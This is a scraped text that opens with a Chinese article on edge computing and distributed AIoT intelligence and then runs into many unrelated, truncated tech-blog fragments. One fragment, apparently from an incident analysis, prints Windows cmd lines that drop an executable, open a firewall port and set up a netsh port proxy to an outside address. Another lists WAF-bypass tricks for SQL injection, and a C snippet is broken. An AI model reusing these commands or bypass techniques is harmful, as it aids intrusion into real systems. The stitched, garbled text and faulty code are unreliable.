摘要:AIoT的使能技术有很多,本次主要讲云计算和分布式云,即Edge cloud,它带来了实时性。
本文分享自华为云社区《未来边缘计算:趋于分布式智能》,作者:曹建农 / 香港理工大学研究生院院长、IEEE Fellow、欧洲科学院院士。
在过去十几年中,云计算已经成为主流技术,改变了很多工业、政府和组织的IT服务的运营模式,也带来了包括商业模式和技术上的诸多革新。但是,云计算面对现在和未来的IoT的应用,也有一些不足之处。IoT起源于1999年,当时RFID技术刚刚兴起,英国一名从事智能家居产业科学家Kevin Ashton预见到,如果RFID联接到每一个物件上,或者说家里的每一个家具、电器上,就会形成一个新的网络。这样的网络可以和当时兴起的Internet相媲美,所以给它取名叫 IoT。
20多年后的今天,IoT已经远远超越了智慧家庭、智能家居的应用,成为了一个集成物理世界和计算机世界的广阔应用领域。它不仅可以感知,还可以进行计算和控制,我们可以看到智慧城市里出现了更多IoT的应用,包括工业物联网(Industry IoT),自主驾驶和车载网,以及大规模的视频监控和现在兴起的元宇宙的底层VR、AR。这些新型的应用带来了新的需求,比如如何识别、感知、进行网络传输、计算和控制。这些需求都必须在非常智能化的方式下进行,而传统的IoT技术无法胜任。因此,要支持先进的IoT应用,就需要新的IoT技术。IoT产生大量的数据,而AI的发展正是基于数据,两者自然而然地结合在一起,诞生了人工智能物联网AIoT。大规模的物联网数据使得AI在物联网领域的应用是非常蓬勃的,这样的数据也给IoT的应用带来很多新的发展。
那么,AI进 入IoT的每一个领域 之 后 会 带 来 什 么?首 先,分布式的IoT数据可以得到广泛应用;其次,过去我们讲的“Internet of Things”中的”Things”本身是没有智能的,但是有了AIoT后,它可以嵌入到物联网里的每一个元素中,使得”Things“变成了”Smart Things“,这样它就不是一个简单的设备,而是嵌入到计算和智能的一个系统,这使得实时地在局部做一些智能的策成为了可能。那么,AIoT是如何发展起来的呢?AIoT的使能技术有很多,本次主要讲云计算和分布式云,即Edge cloud,它带来了实时性。同时Edge cloud上面的AI应用也变成了Edge AI,带来了智能性。由于能被用户直接存取,IoT设备将智能和计算带给了用户,所以边缘计算也成为各个产业竞争的战场。
众所周知,边缘计算主要作用是把互联网所需要的数据和计算,从云端推广到边缘侧来实现,让实时数据处理和智能化成为可能。边缘计算不仅减少了对网络的要求,还降低了计算和决策所带来的延迟,增加了实时的反馈。正因为有着诸多好处,边缘云也叫做分布式云,成为了现在的主流技术。2021年Gartner把边缘云称作十大技术趋势之一,各个主要的云服务厂商包括华为、微软、Google和亚马逊都在推广分布式云技术,其中包含各自的平台和开源的软件,包括KubeEdge、Beatyl和OpenYurt,把在云上的Kubernetes技术推广到边缘,并能够无缝地从云到边缘实现任务的执行。
边缘计算最开始是将云上资源受限的IoT设备的计算放到边缘服务器上,主要还是做计算;有了AIoT之后,边缘服务器除了做计算,还可以做AI方面的智能化决策和模型;下一步,边缘的服务器和节点将互相配合,即合作式的边缘计算,各个合作式的边缘服务器上的智能将变成分布式的智能,这将成为边缘计算的一个趋势。以定位为例,过去使用无线定位,如Wifi、蓝牙,都是模型驱动,但是物理模型受到很多限制。其中最大的限制就是干扰,特别是在室外的环境下,在多人、多物件的情况下会很不准确。AI的兴起让数据驱动的方式变得非常流行,这种方式的好处是可以把AI模型放在一个边缘节点上,获得极佳的实时性。根据深度学习或深度神经网络估算距离,可以推出信号强度和距离之间的一个非线性关系。同时因为受到大量数据的训练,抗干扰性增强,减少误差。
在食品安全领域,我们可以把一些比较昂贵的设备和技术通过EdgeAI部署到低成本的边缘节点上。例如真假红酒的检测,通过普通的声波技术,如扬声器和麦克风,基于真实液体和假液体具有不同的深阻抗这一特征,来检测出模型异常的假液体,这个方法的准确度可以达到92%-95%。另一个例子是食物新鲜度和真假比较,通过把手机上的低成本的照片传送到昂贵的高频光谱的图像上,通过机器学习的方法来辨别和识别。这些技术都已经被广泛应用,所以AI在边缘计算领域的应用是一个非常重要的领域。
那么,如何把AI推广到分布式的Edge AI上?可以通过合作式的边缘计算,即边缘的节点之间共享数据和计算资源,合作完成任务。在这个过程当中,节点要合作完成分布式任务,产生分布式智能。在过去的几年当中,分布式智能的研究主要集中在三个方面,一是分布式的任务调度和任务执行,二是分布式机器学习,即分布式Edge AI,三是如何让边缘节点和分布式IoT设备在自主合作的情况下,用分布式的方法来解决问题。
分布式任务的执行,是对分布式智能最基础的一个研究领域,即怎样把在不同的边缘服务器上执行的任务,通过分布式的调度共享在这些边缘的服务器上来执行。一个复杂的任务,比如说车载网,需要识别交通流量和道路情况,要先分解成若干子任务,再部署到不同的边缘服务器上,或者是部署到云上执行。在协作式边缘计算场景中做任务调度,对任务调度系统和算法可伸缩性提出了新的挑战:首先,和传统的并行和分布式计算比较,边缘计算任务是由终端设备提交,是从下往上的,且任务执行时产生的数据也是由边缘节点产生的分布式数据;其次,边缘网络由不同的节点组成,是不稳定的、带宽受限的,因此在任务执行方面的通信和计算资源也是耦合在一起的。
第二个是现在大家都在进行研究的分布式机器学习。众所周知,分布式机器学习实际上不是一个新的领域,那如何将分布式学习推广到在边缘网络上来进行?这就需要利用分散在各个边缘节点上的本地数据和资源,来共同完成机器学习过程,主要分成模型训练和模型推理。模型训练,是指多个边缘节点利用本地数据,协同训练一个AI模型,然后聚合这些边缘节点的模型参数;模型推理,是指单个和多个边缘节点执行AI模型。在实时的边缘场景下如何保证训练和推理的性能、速度和准确度,实际上将面临很多挑战,下图是在云上、数据中心进行分布学习和在边缘网络上进行分布学习的对比。
举一个分布式合作的视频监控的例子,现在的AI使能的视频应用往往比较复杂,需要训练和部署很多模型,组成一个pipeline,比如怎么定义、定位物体,怎么追踪、重新识别、塑性识别、动作识别等。所以它需要多个网络服务器之间的合作。下图是一个合作式的视频监控的框架,最底下是多个边缘的服务器,服务器上的资源能够被统一使用,形成一个统一的资源库。通过资源管理和任务调度,对资源进行合理、有效地使用,从而加速开发和优化视频应用的AI模型的性能。平台层可以提供机器学习的服务、数据服务和可视化的服务,应用层可以实现视频、监控的这些应用的调度。将上述框架部署在校园场景,可以监控校园里面的人流量、用电量等,同时也可以做一些资源感知的分布式的Egde,学习更好地利用边缘资源去降低时延,保护隐私和数据分析。
第三方面就是自主的合作,即边缘节点(如机器人、车)在动态的环境下能自主地做出决定并执行自己的任务,但又进行统一的合作。过去的研究中边缘节点受限于一个集中的控制,即在发出指令之后,再进行统一的行动,感知并汇报它们的状态。而在分布式控制场景中没有集中控制,每一个边缘节点都是自主的,它们的感知作用于环境,而环境是共享的,且环境变化也会带给边缘节点反馈,边缘节点根据反馈进行进一步的学习和调配。这个时候我们要做的主要就是分布式的强化学习。就像人学习一样,通过强化学习,车或者机器人就可以观察周围的环境,和其他的机器人彼此间共享这个环境和状态来学会协作的策略。具体来说,分布式强化学习主要分为分布式的训练和分布式的执行。我们采用的是全分布式,强化学习本身已经非常困难,需要降维和学习策略,那么要进行分布式的强化学习就变得更加困难。因为它不仅需要考虑同环境本身的交互,还需要考虑在这个环境当中各个机器人之间的相互影响。相互影响也对学习带来许多挑战:机器人策略的改变会带来环境的不稳定性;机器人的分布式训练需要单独的奖励反馈,环境给出的反馈怎么分解成对单个机器人的反馈,如何量化每个机器人对团队合作的贡献;机器人的数量增多会给学习过程带来维数灾难问题。
我们在多机器人协作方面做了很多研究和工作。我们用强化学习来训练单个机器人跟踪不同的规则的车道线。我们使用不同的颜色画出车道线的边缘,通过采用机器学习算法从图像中去提取特征,并根据这些特征用强化学习来控制机器人按照轨迹来行走。针对多机器人合作场景,我们采用层级强化学习的方法来解决协作变道的问题。首先,把机器人的策略学习分成上下两层,上层是机器人和机器人之间的合作策略怎么进行学习,包括去预测其他机器人的动作,比如说它要超车的时候,就要来预测前一个机器人会不会也超车,一旦它学习到做出决策之后,下层主要是通过单个机器人的动作执行,包括机器人的具体的速度和方向。那么和传统的强化学习来比较,这样分层的强化区域具有更快的训练速度,也更适合分布式多机器人的协作。
在未来的边缘计算当中,分布式智能的进行将依赖于合作式的边缘计算。合作式边缘计算目前的三大研究方向为任务调度、分布式的机器学习和分布式的自主学习。具体来说,我们将研究如何在实时的情况下做到可靠的机器学习,可靠的任务调度,乃至容错等方面;如何在不同的机器人,不同的车、物体中进行个性化,并保护数据隐私;如何提升边缘节点的决策速度,并通过离线计算和离线智能方面的研究减少边缘节点对云或集中控制的依赖。
点击关注,第一时间了解华为云新鲜技术~
大家好,又见面了,我是你们的朋友全栈君。文章目录VueVue概念同类产品官网特点渐进式框架入门案例.html改造入门案例.htmlMVVM框架基础语法运算符operator方法methodsVue解析数据三种data值的写法高级用法:v-命令指令集双向绑定v-model闪现v-cloak判断v-if循环v-for事件v-on绑定v-bind小结Vue组件概述使用测试Vue路由概述使用步骤入门案例Vue的AjaxAjax概述Ajax原理axios测试常见错误Vue的生命周期lifecycle概述测试扩展:观察者设计模式HBuilderX自定义模板自定义html模板vue模板.txt创建新文件调用模板CDN简化axiosVueVue概念同类产品JavaScript在1995年由Netscape公司的BrendanEich,在网景导航者浏览器上首次设计实现而成。近年来发展非常迅速,标准也在不断完善已经达到ES6时代。ECMAScript6.0(简称ES6)是JavaScript语言的下一代标准,已经在2015年6月正式发布了。它的目标是让JavaScript语言可以用来编写复杂的大型应用程序
简介cookie是用于在Web客户端(一般是浏览器)和服务器之间传输少量数据的一种机制。由服务器生成,发送到客户端保存,客户端后续的每次请求都会将cookie带上。cookie现在已经被多多少少地滥用了。很多公司使用cookie来收集用户信息、投放广告等。cookie有两大缺点:每次请求都需要传输,故不能用来存放大量数据;安全性较低,通过浏览器工具,很容易看到由网站服务器设置的cookie。gorilla/securecookie提供了一种安全的cookie,通过在服务端给cookie加密,让其内容不可读,也不可伪造。当然,敏感信息还是强烈建议不要放在cookie中。快速使用本文代码使用GoModules。创建目录并初始化:$mkdirgorilla/securecookie&&cdgorilla/securecookie $gomodinitgithub.com/darjun/go-daily-lib/gorilla/securecookie 复制安装gorilla/securecookie库:$gogetgithub.com/gorilla/securecookie
在大数据技术体系当中,Hadoop技术框架无疑是重点当中的重点,目前主流的大数据开发任务,都是基于Hadoop来进行的。对于很多初入门或者想要学习大数据的同学们,对于大数据Hadoop原理想必是比较好奇的,今天我们就主要为大家分享大数据Hadoop技术体系详解。关于Hadoop,大家都知道这是目前市面上主流的大数据都在用的框架,通过分布式存储和分布式计算来解决海量数据处理的问题。目前Hadoop已经更新到最新的3.0版本,从最初的1.0版本到现在,也在不断更新和优化。Hadoop的官方定义,是开源的大数据框架,可运行在大规模集群上,进行分布式的存储和计算,大数据Hadoop原理,就是基于Hadoop,能够高效地处理海量数据的分布式并行程序,将其运行于成百上千个节点组成的大规模计算机集群上。Hadoop的核心架构,主要就是HDFS和MapReduce,这两者之中,HDFS为海量数据提供分布式存储,MapReduce为海量数据提供分布式计算框架,通过分布式结构来完成对海量数据的更高效的处理和运算。大数据Hadoop原理,主要就在于如何通过HDFS和MapReduce实现大数据处理的工作的。
搭建代码库提交代码在gitHub上搭建项目推送代码到远端账号Bgitclone账号Bgitadd,gitcommit账号Bgitpush账号Agitpull0、理解工作区、暂存区、本地库工作区:WorkingDirectory,就是电脑本地硬盘目录,文件夹嘛本地库:Respository,下面GitBashHere后的隐藏文件夹.git就是Git的本地版本库,话说Maven也有本地版本库暂存区:Stage,一般在隐藏文件夹git中的index文件中,所以暂存区也叫“索引” .git文件夹张这个样子,打开index后是乱码,是以二进制写的,Git是C语言写的,通过命令行git ls-files--stage可以打开看,每个文件都有身份证号,通过前四位查看,这个身份证号hashcode是怎么生成嘞?我去,知识好多,Linux命令要八一下了一、搭建代码库1、在文件夹中点击GitBashHere,出现命令行,init初始化,空白的文件夹会出现一个隐藏的文件夹.git,所以文件夹要勾选显示隐藏,这里解释一下Bash:bash是一个英文单词,字面意思有:痛击、猛击严厉批评、怒殴、威胁地批评指责等含
起因分析1.txt文本内容如下cmd/cechoRmMrcM>>c:\windows\temp\msInstall.exe&echocopy/yc:\windows\temp\msInstall.exec:\windows\kNnk.exe>c:/windows/temp/p.bat&echo"*">c:\windows\temp\eb.txt&echonetshinterfaceipv6install>>c:/windows/temp/p.bat&echonetshfirewalladdportopeningtcp65532DNS2>>c:/windows/temp/p.bat&echonetshinterfaceportproxyaddv4tov4listenport=65532connectaddress=1.1.1.1connectport=53>>c:/windows/temp/p.bat&echonetshfirewalladdportopenin
直播预告8月14日 (周五) 15:00准时开播腾讯云大学将邀请腾讯云函数产品负责人——— 黄文俊腾讯云文件存储产品负责人——龚幽兰带来精彩的《TencentServerlessHours在线分享会(第七期)》【腾讯云大学】公众号活动腾讯云大学公众号转发海报集赞活动仍在火热进行中哦~“识别二维码”成功预约课程并转发“海报”到朋友圈集赞,截图提交到【腾讯云大学】公众号后台,集赞前三名的用户将获得,腾讯定制精美礼品1份!具体活动详情,可参考【腾讯云大学】公众号注:请将朋友圈集赞截图发送至【腾讯云大学】公众号后台,截止到直播完毕的零点~
文|李永华文|智能相对论(aixdlun)便捷生活、不用出门的生活服务配套,“隔空”信息交流的远程教育/远程办公,在药物研发等场景有卓越表现的AI……疫情为很多行业按下了加速键。除此之外,还有一些“不为人知”的技术应用正在以另一副面孔展现出自己的价值,智能客服就是如此。群防群控、全面排查的需求与人力紧缺的矛盾催生对话机器人走入疫情防控一线,而它恰恰是智能客服的内核。疫情是一面镜子,照出互联网各种商业模式、技术形态、科技企业的底色,而对于智能客服而言,专门针对疫情的对话机器人应用则从一个侧面呈现了其发展多年的能力沉淀,以及背后的平台化能量。01智能外呼、智能问询——贯穿文字到语音的另类“智能客服”“请问您回京几天了呢?”“半个多月了吧。”“请问您目前一直在家医学观察吗?”“是的。”“您是否每天进行体温监测呢?”“有的,有的。”“麻烦您说下今天的体温。”“36度多吧。”……以上是北京某小区用智能外呼机器人通过010开头的座机拨打给外地返京、居家隔离人员的电话对话片段。如果排查过程中发现异常情况,该系统将快速上报,社区工作人员、志愿者可及时进行人工干预。是不是很像客服场景?一旦消费者/用户有
1.标识符在编程语言中,我们需要用标识符来代指某个东西,这个东西可以是一个数据,可以是一个函数,一个类,那么与之对应的就是变量名,函数名,类名等概念。就如同我们每个人都有名字一样,程序里,一个具体的东西也需要有名字,不然,我们就无法准确的找到它并对它进行操作。标识符的定义有5个规则第一个字符必须是字母表中字母或下划线_标识符的其他的部分由字母、数字和下划线组成标识符对大小写敏感不能将保留字作为标识符标识符应当有意义,做到见名知意在以后的学习中,当你为一个变量起名字时,或者为一个函数起名字时,务必遵守上面这5条规定,现在,我来示范一个合格的标识符。如果需要一个变量,来保存学生的数量,那么我会这样给变量起名字student_count=0#学生数量复制这个变量名称符合上述的5条规则,尤其是最后一条,当你看到这个变量名称时,你大概就能猜的出来,这个变量存储的数据含义。2.保留字保留字,也叫关键字,这些关键字是python直接提供给我们使用的,因此,我们在定义标识符的时候,不能用这些保留字。如果你要开一家公司,公司的名字肯定不能是教育局,这个名字只能官方使用。你可以启动python交互式解释器
//并发replace操作导致的死锁问题//今天上班的时候,遇到了一个问题,有业务同学反应使用并发replace操作的时候,遇到了死锁的问题。针对这个问题,我看了看表的结构,发现表中有一个主键,一个唯一索引,然后用replace的操作去对表中的记录进行插入,如果存在相同的唯一索引,那么就更新这条记录。开始分析这个问题之前,我们首先对replaceinto这个语法做个简单了解,replaceinto的语法是当我们不确定即将插入的记录是否存在唯一性冲突时,可以通过Replaceinto的方式让MySQL自动处理:当存在冲突时,会把旧记录替换成新的记录。假设我们有表testcreatetabletest(aintauto_incrementprimarykey,bint,cint,uniquekey(b));那么一个replaceinto的语句执行过程可能如下:上面的图中,有几点需要解释:1、当我们判断唯一索引的记录是否唯一时,需要对该条记录加上X锁,也就是第2步下面的判断时,需要加X锁2、第5步检测该唯一索引,并对索引上的记录加X锁,在这个过程中,对于唯一索引对应的聚集索引记录,也需要加X
NikolaMoto想要正面对战特斯拉,必须要加快投产速度了。策划&撰写:伶轩在特斯拉屡被爆负面消息的时候,它的竞争对手却在庆祝获得巨额融资。近日,尼古拉汽车NikolaMoto宣布,已经完成了最新一轮的“超额认购”C轮融资,融资规模为1.05亿美元,加之此前拿到的一笔融资,其C轮融资总金额已超2.05亿美元。据悉,NikolaMoto是一家卡车运输初创公司,其创始人&首席执行官RevorMilton表示,其C轮融资从去年8月开始启动,原本预计的融资规模仅为1.5亿美元。而由于本轮融资的大成功以及公司已预备全面生产卡车,预计明年一季度,他们将开启更大规模新一轮融资10亿美元,融资活动预计将持续4-5个月时间,所得资金主要将用于工厂建设。在NikolaMoto的规划中,其将在明年在亚利桑那州建设工厂,主要用于生产该公司旗下的Onesleeper和Twodaycab两款卡车。而预计未来6年,NikolaMoto将持续投入超60亿美元的资金用于扩大工厂规模。此外,RevorMilton还称,公司正在全力准备即将到来的2019年尼古拉世界车展,并将于此展览上展示NikolaTw
链接:https://leetcode.com/problems/construct-binary-tree-from-inorder-and-postorder-traversal/description/ 难度:Medium 题目:106.ConstructBinaryTreefromInorderandPostorderTraversalGiveninorderandpostordertraversalofatree,constructthebinarytree.Note: Youmayassumethatduplicatesdonotexistinthetree.翻译:给定树的中序遍历和后序遍历,构造二叉树。注意:树中不存在重复项。思路:本题与105.ConstructBinaryTreefromPreorderandInorderTraversal类似。你要先知道中序遍历:左子树,根节点,右子树 后序遍历:左子树,右子树,根节点以如下这棵树为例:1 --------|------- 23 ----|--------|---- 4567复制前序遍历1245367 中序遍历425
HGE系列之七管中窥豹(图形界面)这次的HGE源码之旅,让我们来看看HGE的图形用户界面(GUI)的实现,话说电脑技术发展至今,当年轰动一时的图形用户界面,而今早已司空见惯,想来不得不感叹一下技术的日新月异啊……HGE作为一款出色的2D游戏引擎,GUI方面的支持自然不在话下,并且从实现方面来说还是相当具有扩展性的:)好了,简略的介绍就到此为止吧,就让我们马上来看看源码:)类名:hgeGUIObject功能:界面对象基类,像文本、按钮之类的GUI控件皆派生于她头文件:hge/hge181/include/hgegui.h实现文件:无以下是该类的头文件声明,注意一下其中的各个虚拟函数:classhgeGUIObject{public://默认的构造函数,用以创建hge对象以及设置颜色(color)hgeGUIObject(){hge=hgeCreate(HGE_VERSION);color=0xFFFFFFFF;}//虚拟析构函数,用以释放之前创建的HGEvirtual~hgeGUIObject(){hge->Release();}//纯虚函数Render,功能顾名思义了:)v
作为一门异常受欢迎的编程语言,Python的优点有很多,比如:易于学习、用途广泛、有成千上万个用于数据科学的有用的库。但同时,Python一直被诟病的就是它运行速度太慢。 在去年的PyConUS2021大会上,Python之父GuidovanRossum曾表示:要在2022年的Python3.11中,将Python速度提高2倍,4年内,速度提升5倍,以解决Python与C++等其他编程语言相比在速度上的关键缺点。如今,速度太慢的情况在Python3.11中即将改变。在今年晚些时候发布稳定版之前,目前正处于其预览版(版本3.11.0b1)的第一个测试阶段。CPython3.11已比3.10提速1.25倍在近期的PyConUS2022会议上,CorePython(CPython)开发者MarkShannon分享了关于加速Python项目的细节,此外,开发者还展示了在浏览器中运行Python代码这一目标的进展。去年,微软资助了Python软件基金会(PSF)的一个项目——“ShannonPlan”,该项目由Python创造者GuidovanRossum和MarkShannon领导,承诺在今年
大家好,又见面了,我是你们的朋友全栈君。matlab中读取图片后保存的数据是uint8类型(8位无符号整数,即1个字节),以此方式存储的图像称作8位图像,相比较matlab默认数据类型双精度浮点double(64位,8个字节)可以节省存储空间。详细来说imread把灰度图像存入一个8位矩阵,当为RGB图像时,就存入8位RGB矩阵中。例如,彩色图像像素大小是400*300(高*宽),则保存的数据矩阵为400*300*3,其中每个颜色通道值是处于0~255之间。虽然matlab中读入图像的数据类型是uint8,但图像矩阵运算时的数据类型是double类型。这么做一是为了保证精度,二是如不转换,在对uint8进行加减时会溢出。做矩阵运算时,uint8类型的数组间可以相互运算,结果仍是uint8类型的;uint8类型数组不能和double型数组作运算。matlab读入图像的数据是uint8,将图像转为double格式:(1.)im2double()函数:参数为unit8型数组时,转化结果矩阵元素取值位于(0,1)。但im2double()的参数是double型时,直接输出参数本身,不做任何数值
A- PalindromicSupersequence /* 题目大意:给出一个串,构造一个包含该串的回文串 */ #include<cstdio> #include<algorithm> #include<cstring> usingnamespacestd; constintN=10010; chars[N]; intmain(){ scanf("%s",s); intn=strlen(s); for(inti=n-1;i;i--)printf("%c",s[i]); for(inti=0;i<n;i++)printf("%c",s[i]); puts("");return0; }复制 B- RecursiveQueries /* 题目大意:定义F函数为一个数所有数字的乘积,定义G函数为分段函数, 当x小于10时为其本身,否则G(x)=G(F(x)),求区间有多少数G函数值为k */ #include<cstdio> #include<algorithm> usingnamespacestd
引号绕过 sql语句中对’或"做了限制不允许输入时,可以采取十六进制进行绕过 如: selectpasswordfromuserswhereuser="admin"; 复制 可以将admin进行十六进制转换,然后进行绕过 selectpasswordfromuserswhereuser=0x61646D696E; 复制 最后显示的结果相同 一、绕过目录扫描的防护 修改user-agent为搜索引擎的爬虫百度爬虫:Mozilla/5.0(compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html) 减缓扫描速度 通过代理ip进行扫描 二、手工注入WAFbypass思路 大小写变换 如:对某些关键字如:select、union、order、where进行关键字的过滤,可以采用SelEct、UniOn等大小写变换进行绕过。 使用嵌套 如对某些关键字替换为空,可以采用嵌套双写进行绕过,如碰到select或者union等关键字时会将其替换为空,此时可以尝试SELEselectCT、UNIunionON进行绕
自用切图: 首先打开你的ps,然后在侧边栏找到你下的图标,右击,选择矩形选框工具 按住Ctrl+Shift+C(复制要切的图片) Ctrl+N(新建图层) Ctrl+V(粘贴复制的文件) Ctrl+Shift+Alt+S(存储为Web所用格式,正常的话jpg品质60-64,png-24),保存文件就可以了 PS+PxCook切图(这个比较适合我这个初入PS门的菜鸟,也快) 在ps的编辑,打开远程连接,输入密码,启用并点击确认;然后回到PxCook的,点击右上角有个刀状的图标,点击后输入密码,连接,回到PS,点击要选图层,在点击切所选图层就可以了 常用快捷键 Alt+滚轮(放大缩小图片) 空格+滚轮(移动图片) Ctrl+R(出现标尺) Ctrl+H(隐藏参考线) Alt+V(出现消除参考线选项框) Ctrl+W(关闭当前窗口) Ctrl+D(取消框选) Ctrl +M(曲线框选) Ctrl+N(新建空白文档) Ctrl+shift+Alt+S(存储为Web所用格式) Ctrl+Alt+I(查看宽高
#include<stdio.h> intmain(void) { intdigit,space,enter,letter,other; charch; inti; digit=space=enter=letter=other=0; printf("Enter15characters:"); for(i=1;i<=15;i++){ ch=getchar(); if((ch>='a'&&<='z')||(ch>='A'&&<='Z')) letter++; elseif(ch>='0'&&ch<='9') digit++; elseif(ch='') space++; elseif(ch='') enter++; else other++; } printf("letter=%d,space=%d,enter=%d,digit=%d,other=%d\n",letter,space,enter,digit,other); return0; }复制
springmvc静态资源的访问我们在web.xml文件中配置的核心控制器的url-pattern是什么?/不能匹配.jsp.js.css.png.....后缀如果我们的项目中需要这些文件,是不能使用的!所以需要设置静态资源的访问!解决的方式3中1.Tomcat服务器中找到conf/web.xml中配置默认不拦截<servlet-mapping><servlet-name>default</servlet-name><url-pattern>/</url-pattern></servlet-mapping>在web.xml文件中配置<servlet-mapping><servlet-name>default</servlet-name><url-pattern>*.css</url-pattern></servlet-mapping><servlet-mapping><servlet-name>default</s